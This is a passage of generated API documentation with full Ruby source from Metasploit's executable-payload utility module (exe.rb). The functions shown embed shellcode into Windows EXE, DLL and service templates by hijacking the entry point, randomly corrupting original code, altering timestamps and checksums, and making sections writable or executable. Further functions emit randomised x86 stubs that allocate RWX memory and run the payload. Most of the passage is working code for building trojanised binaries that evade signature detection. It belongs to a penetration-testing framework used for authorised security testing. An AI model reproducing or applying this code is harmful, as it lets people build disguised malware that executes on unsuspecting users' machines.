    raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
  end

  # Make a copy of the entire .text section
  data = text.read(0,text.size)

  # Pick a random offset to store the payload
  poff = rand(block[1] - payload.length - 256)

  # Flip a coin to determine if EP is before or after
  eloc = rand(2)
  eidx = nil

  # Pad the entry point with random nops
  entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)

  # Pick an offset to store the new entry point
  if eloc == 0 # place the entry point before the payload
    poff += 256
    eidx = rand(poff-(entry.length + 5))
  else          # place the entry pointer after the payload
    poff -= 256
    eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
  end

  # Relative jump from the end of the nops to the payload
  entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

  # Mangle 25% of the original executable
  1.upto(block[1] / 4) do
    data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
  end

  # Patch the payload and the new entry point into the .text
  data[block[0] + poff, payload.length] = payload
  data[block[0] + eidx, entry.length]   = entry

  # Create the modified version of the input executable
  exe = ''
  File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}

  a = [text.base_rva + block.first + eidx].pack("V")
  exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
  exe[off_beg, data.length] = data

  tds = pe.hdr.file.TimeDateStamp
  exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")

  cks = pe.hdr.opt.CheckSum
  unless cks == 0
    exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
  end

  exe = clear_dynamic_base(exe, pe)
  pe.close

  exe
end

.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {}) ⇒ String

self.to_win32pe_dll

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


736
737
738
739
740
741
742
743
744
745
746
 
# File 'lib/msf/util/exe.rb', line 736

def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x86_windows_dccw_gdiplus.dll")
  opts[:exe_type] = :dll

  if opts[:inject]
    self.to_win32pe(framework, code, opts)
  else
    exe_sub_method(code,opts)
  end
end

.to_win32pe_dll(framework, code, opts = {}) ⇒ String

self.to_win32pe_dll

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
 
# File 'lib/msf/util/exe.rb', line 683

def self.to_win32pe_dll(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  if opts.fetch(:mixed_mode, false)
    default_exe_template = 'template_x86_windows_mixed_mode.dll'
  else
    default_exe_template = 'template_x86_windows.dll'
  end
  set_template_default(opts, default_exe_template)
  opts[:exe_type] = :dll

  if opts[:inject]
    self.to_win32pe(framework, code, opts)
  else
    exe_sub_method(code,opts)
  end
end

.to_win32pe_exe_sub(framework, code, opts = {}) ⇒ String

self.to_win32pe_exe_sub

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})

Returns:

  • (String) 


587
588
589
590
591
592
 
# File 'lib/msf/util/exe.rb', line 587

def self.to_win32pe_exe_sub(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x86_windows.exe")
  opts[:exe_type] = :exe_sub
  exe_sub_method(code,opts)
end

.to_win32pe_old(framework, code, opts = {}) ⇒ Object

self.to_win32pe_old

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {}) 


444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
 
# File 'lib/msf/util/exe.rb', line 444

def self.to_win32pe_old(framework, code, opts = {})

  payload = code.dup
  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x86_windows_old.exe")

  pe = ''
  File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}

  if payload.length <= 2048
    payload << Rex::Text.rand_text(2048-payload.length)
  else
    raise RuntimeError, "The EXE generator now has a max size of 2048 " +
                        "bytes, please fix the calling module"
  end

  bo = pe.index('PAYLOAD:')
  unless bo
    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
  end
  pe[bo, payload.length] = payload

  pe[136, 4] = [rand(0x100000000)].pack('V')

  ci = pe.index("\x31\xc9" * 160)
  unless ci
    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
  end
  cd = pe.index("\x31\xc9" * 160, ci + 320)
  unless cd
    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
  end
  rc = pe[ci+320, cd-ci-320]

  # 640 + rc.length bytes of room to store an encoded rc at offset ci
  enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
  lft = 640+rc.length - enc.length

  buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
  pe[ci, buf.length] = buf

  # Make the data section executable
  xi = pe.index([0xc0300040].pack('V'))
  pe[xi,4] = [0xe0300020].pack('V')

  # Add a couple random bytes for fun
  pe << Rex::Text.rand_text(rand(64)+4)
  pe
end

.to_win32pe_psh(framework, code, opts = {}) ⇒ Object 



1418
1419
1420
 
# File 'lib/msf/util/exe.rb', line 1418

def self.to_win32pe_psh(framework, code, opts = {})
  Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end

.to_win32pe_psh_msil(framework, code, opts = {}) ⇒ Object 



1490
1491
1492
 
# File 'lib/msf/util/exe.rb', line 1490

def self.to_win32pe_psh_msil(framework, code, opts = {})
  Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end

.to_win32pe_psh_net(framework, code, opts = {}) ⇒ Object 



1414
1415
1416
 
# File 'lib/msf/util/exe.rb', line 1414

def self.to_win32pe_psh_net(framework, code, opts={})
  Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end

.to_win32pe_psh_rc4(framework, code, opts = {}) ⇒ Object 



1494
1495
1496
1497
1498
 
# File 'lib/msf/util/exe.rb', line 1494

def self.to_win32pe_psh_rc4(framework, code, opts = {})
  # unlike other to_win32pe_psh_* methods, this expects powershell code, not asm
  # this method should be called after other to_win32pe_psh_* methods to wrap the output
  Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end

.to_win32pe_psh_reflection(framework, code, opts = {}) ⇒ Object

Reflection technique prevents the temporary .cs file being created for the .NET compiler Tweaked by shellster Originally from PowerSploit



1427
1428
1429
 
# File 'lib/msf/util/exe.rb', line 1427

def self.to_win32pe_psh_reflection(framework, code, opts = {})
  Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end

.to_win32pe_service(framework, code, opts = {}) ⇒ String

Embeds shellcode within a Windows PE file implementing the Windows service control methods.

Parameters:

  • framework (Object)
  • code (String) —

    shellcode to be embedded

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :sub_method (Boolean) —

    use substitution technique with a service template PE

  • :servicename (String) —

    name of the service, not used in substituion technique

Returns:

  • (String) —

    Windows Service PE file



636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
 
# File 'lib/msf/util/exe.rb', line 636

def self.to_win32pe_service(framework, code, opts = {})
  set_template_default(opts, "template_x86_windows_svc.exe")
  if opts[:sub_method]
    # Allow the user to specify their own service EXE template
    opts[:exe_type] = :service_exe
    return exe_sub_method(code,opts)
  else
    ENV['MSF_SERVICENAME'] = opts[:servicename]

    opts[:framework] = framework
    opts[:payload] = 'stdin'
    opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')

    # XXX This should not be required, it appears there is a dependency inversion
    # See https://github.com/rapid7/metasploit-framework/pull/9851
    venom_generator = Msf::PayloadGenerator.new(opts)
    code_service = venom_generator.multiple_encode_payload(code)
    return to_winpe_only(framework, code_service, opts)
  end
end

.to_win32pe_vbs(framework, code, opts = {}) ⇒ Object 



1534
1535
1536
 
# File 'lib/msf/util/exe.rb', line 1534

def self.to_win32pe_vbs(framework, code, opts = {})
  to_exe_vbs(to_win32pe(framework, code, opts), opts)
end

.to_win64pe(framework, code, opts = {}) ⇒ String

self.to_win64pe

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})

Returns:

  • (String) 


600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
 
# File 'lib/msf/util/exe.rb', line 600

def self.to_win64pe(framework, code, opts = {})
  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x64_windows.exe")

  # Try to inject code into executable by adding a section without affecting executable behavior
  if opts[:inject]
    injector = Msf::Exe::SegmentInjector.new({
       :payload  => code,
       :template => opts[:template],
       :arch     => :x64,
       :secname  => opts[:secname]
    })
    return injector.generate_pe
  end

  # Append a new section instead
  appender = Msf::Exe::SegmentAppender.new({
    :payload  => code,
    :template => opts[:template],
    :arch     => :x64,
    :secname	=> opts[:secname]
  })
  return appender.generate_pe
end

.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {}) ⇒ String

self.to_win64pe_dll

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


757
758
759
760
761
762
763
764
765
766
767
 
# File 'lib/msf/util/exe.rb', line 757

def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x64_windows_dccw_gdiplus.dll")
  opts[:exe_type] = :dll

  if opts[:inject]
    raise RuntimeError, 'Template injection unsupported for x64 DLLs'
  else
    exe_sub_method(code,opts)
  end
end

.to_win64pe_dll(framework, code, opts = {}) ⇒ String

self.to_win64pe_dll

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
 
# File 'lib/msf/util/exe.rb', line 709

def self.to_win64pe_dll(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  if opts.fetch(:mixed_mode, false)
    default_exe_template = 'template_x64_windows_mixed_mode.dll'
  else
    default_exe_template = 'template_x64_windows.dll'
  end
  set_template_default(opts, default_exe_template)
  opts[:exe_type] = :dll

  if opts[:inject]
    raise RuntimeError, 'Template injection unsupported for x64 DLLs'
  else
    exe_sub_method(code,opts)
  end
end

.to_win64pe_service(framework, code, opts = {}) ⇒ String

self.to_win64pe_service

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


667
668
669
670
671
672
 
# File 'lib/msf/util/exe.rb', line 667

def self.to_win64pe_service(framework, code, opts = {})
  # Allow the user to specify their own service EXE template
  set_template_default(opts, "template_x64_windows_svc.exe")
  opts[:exe_type] = :service_exe
  exe_sub_method(code,opts)
end

.to_win64pe_vbs(framework, code, opts = {}) ⇒ Object 



1538
1539
1540
 
# File 'lib/msf/util/exe.rb', line 1538

def self.to_win64pe_vbs(framework, code, opts = {})
  to_exe_vbs(to_win64pe(framework, code, opts), opts)
end

.to_winpe_only(framework, code, opts = {}, arch = ARCH_X86) ⇒ Object

self.to_winpe_only

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • arch (String) (defaults to: ARCH_X86) —

    Default is "x86"



375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
 
# File 'lib/msf/util/exe.rb', line 375

def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)

  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_#{arch}_windows.exe")

  pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

  exe = ''
  File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}

  pe_header_size = 0x18
  entryPoint_offset = 0x28
  section_size = 0x28
  characteristics_offset = 0x24
  virtualAddress_offset = 0x0c
  sizeOfRawData_offset = 0x10

  sections_table_offset =
    pe._dos_header.v['e_lfanew'] +
    pe._file_header.v['SizeOfOptionalHeader'] +
    pe_header_size

  sections_table_characteristics_offset = sections_table_offset + characteristics_offset

  sections_header = []
  pe._file_header.v['NumberOfSections'].times do |i|
    section_offset = sections_table_offset + (i * section_size)
    sections_header << [
      sections_table_characteristics_offset + (i * section_size),
      exe[section_offset,section_size]
    ]
  end

  addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint

  # look for section with entry point
  sections_header.each do |sec|
    virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
    sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
    characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]

    if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
      importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
      if (importsTable - addressOfEntryPoint) < code.length
        #shift original entry point to prevent tables overwritting
        addressOfEntryPoint = importsTable - code.length + 4

        entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
        exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
      end
      # put this section writable
      characteristics |= 0x8000_0000
      newcharacteristics = [characteristics].pack('V')
      exe[sec[0],newcharacteristics.length] = newcharacteristics
    end
  end

  # put the shellcode at the entry point, overwriting template
  entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
  exe[entryPoint_file_offset,code.length] = code
  exe = clear_dynamic_base(exe, pe)
  exe
end

.to_zip(files) ⇒ String

Generates a ZIP file.

Examples:

Compressing two files, one in a folder called 'test'

Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])

Parameters:

  • files (Array<Hash>) —

    Items to compress. Each item is a hash that supports these options:

    • :data - The content of the file.

    • :fname - The file path in the ZIP file

    • :comment - A comment

Returns:

  • (String) 


83
84
85
86
87
88
89
90
91
92
93
94
 
# File 'lib/msf/util/exe.rb', line 83

def self.to_zip(files)
  zip = Rex::Zip::Archive.new

  files.each do |f|
    data    = f[:data]
    fname   = f[:fname]
    comment = f[:comment] || ''
    zip.add_file(fname, data, comment)
  end

  zip.pack
end

.win32_rwx_exec(code) ⇒ Object

This wrapper is responsible for allocating RWX memory, copying the target code there, setting an exception handler that calls ExitProcess and finally executing the code.



1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
 
# File 'lib/msf/util/exe.rb', line 1713

def self.win32_rwx_exec(code)
  stub_block = Rex::Payloads::Shuffle.from_graphml_file(
    File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
    arch: ARCH_X86,
    name: 'api_call'
  )

  stub_exit = %Q^
  ; Input: EBP must be the address of 'api_call'.
  ; Output: None.
  ; Clobbers: EAX, EBX, (ESP will also be modified)
  ; Note: Execution is not expected to (successfully) continue past this block

  exitfunk:
    mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
    push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
    mov eax, ebp
    call eax               ; GetVersion(); (AL will = major version and AH will = minor version)
    cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
    jl goodbye             ; Then just call the exit function...
    cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    jne goodbye      ;
    mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
  goodbye:                 ; We now perform the actual call to the exit function
    push byte 0            ; push the exit function parameter
    push ebx               ; push the hash of the exit function
    call ebp               ; call EXITFUNK( 0 );
  ^

  stub_alloc = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
  delta:                   ;
  #{stub_block}
  start:                   ;
    pop ebp                ; Pop off the address of 'api_call' for calling later.

  allocate_size:
     mov esi, #{code.length}

  allocate:
    push byte 0x40         ; PAGE_EXECUTE_READWRITE
    push 0x1000            ; MEM_COMMIT
    push esi               ; Push the length value of the wrapped code block
    push byte 0            ; NULL as we dont care where the allocation is.
    push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    mov ebx, eax           ; Store allocated address in ebx
    mov edi, eax           ; Prepare EDI with the new address
    mov ecx, esi           ; Prepare ECX with the length of the code
    call get_payload
  got_payload:
    pop esi                ; Prepare ESI with the source to copy
    rep movsb              ; Copy the payload to RWX memory
    call set_handler       ; Configure error handling

  exitblock:
  #{stub_exit}
  set_handler:
    xor eax,eax
    push dword [fs:eax]
    mov dword [fs:eax], esp
    call ebx
    jmp exitblock
  ^

  stub_final = %Q^
  get_payload:
    call got_payload
  payload:
  ; Append an arbitrary payload here
  ^

  stub_alloc.gsub!('short', '')
  stub_alloc.gsub!('byte', '')

  wrapper = ""
  # regs    = %W{eax ebx ecx edx esi edi ebp}

  cnt_jmp = 0
  stub_alloc.each_line do |line|
    line.gsub!(/;.*/, '')
    line.strip!
    next if line.empty?

    wrapper << "nop\n" if rand(2) == 0

    if rand(2) == 0
      wrapper << "jmp autojump#{cnt_jmp}\n"
      1.upto(rand(8)+8) do
        wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
      end
      wrapper << "autojump#{cnt_jmp}:\n"
      cnt_jmp += 1
    end
    wrapper << line + "\n"
  end

  wrapper << stub_final

  enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
  enc.data + code
end

.win32_rwx_exec_thread(code, block_offset, which_offset = 'start') ⇒ Object

This wrapper is responsible for allocating RWX memory, copying the target code there, setting an exception handler that calls ExitProcess, starting the code in a new thread, and finally jumping back to the next code to execute. block_offset is the offset of the next code from the start of this code



1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
 
# File 'lib/msf/util/exe.rb', line 1823

def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
  stub_block = Rex::Payloads::Shuffle.from_graphml_file(
    File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
    arch: ARCH_X86,
    name: 'api_call'
  )

  stub_exit = %Q^
  ; Input: EBP must be the address of 'api_call'.
  ; Output: None.
  ; Clobbers: EAX, EBX, (ESP will also be modified)
  ; Note: Execution is not expected to (successfully) continue past this block

  exitfunk:
    mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
    push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
    call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
    cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
    jl goodbye       ; Then just call the exit function...
    cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    jne goodbye      ;
    mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
  goodbye:                 ; We now perform the actual call to the exit function
    push byte 0            ; push the exit function parameter
    push ebx               ; push the hash of the exit function
    call ebp               ; call EXITFUNK( 0 );
  ^

  stub_alloc = %Q^
    pushad                 ; Save registers
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
  delta:                   ;
  #{stub_block}
  start:                   ;
    pop ebp                ; Pop off the address of 'api_call' for calling later.

  allocate_size:
     mov esi,#{code.length}

  allocate:
    push byte 0x40         ; PAGE_EXECUTE_READWRITE
    push 0x1000            ; MEM_COMMIT
    push esi               ; Push the length value of the wrapped code block
    push byte 0            ; NULL as we dont care where the allocation is.
    push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    mov ebx, eax           ; Store allocated address in ebx
    mov edi, eax           ; Prepare EDI with the new address
    mov ecx, esi           ; Prepare ECX with the length of the code
    call get_payload
  got_payload:
    pop esi                ; Prepare ESI with the source to copy
    rep movsb              ; Copy the payload to RWX memory
    call set_handler       ; Configure error handling

  exitblock:
  #{stub_exit}

  set_handler:
    xor eax,eax
;     push dword [fs:eax]
;     mov dword [fs:eax], esp
    push eax               ; LPDWORD lpThreadId (NULL)
    push eax               ; DWORD dwCreationFlags (0)
    push eax               ; LPVOID lpParameter (NULL)
    push ebx               ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
    push eax               ; SIZE_T dwStackSize (0 for default)
    push eax               ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
    push 0x160D6838        ; hash( "kernel32.dll", "CreateThread" )
    call ebp               ; Spawn payload thread

    pop eax                ; Skip
;     pop eax                ; Skip
    pop eax                ; Skip
    popad                  ; Get our registers back
;     sub esp, 44            ; Move stack pointer back past the handler
  ^

  stub_final = %Q^
  get_payload:
    call got_payload
  payload:
  ; Append an arbitrary payload here
  ^


  stub_alloc.gsub!('short', '')
  stub_alloc.gsub!('byte', '')

  wrapper = ""
  # regs    = %W{eax ebx ecx edx esi edi ebp}

  cnt_jmp = 0
  cnt_nop = 64

  stub_alloc.each_line do |line|
    line.gsub!(/;.*/, '')
    line.strip!
    next if line.empty?

    if cnt_nop > 0 && rand(4) == 0
      wrapper << "nop\n"
      cnt_nop -= 1
    end

    if cnt_nop > 0 && rand(16) == 0
      cnt_nop -= 2
      cnt_jmp += 1

      wrapper << "jmp autojump#{cnt_jmp}\n"
      1.upto(rand(8)+1) do
        wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
        cnt_nop -= 1
      end
      wrapper << "autojump#{cnt_jmp}:\n"
    end
    wrapper << line + "\n"
  end

  # @TODO: someone who knows how to use metasm please explain the right way to do this.
  wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
  wrapper << stub_final

  enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
  soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
  res = enc.data + code

  if which_offset == 'start'
    res[soff,4] = [block_offset - (soff + 4)].pack('V')
  elsif which_offset == 'end'
    res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
  else
    raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
  end
  res
end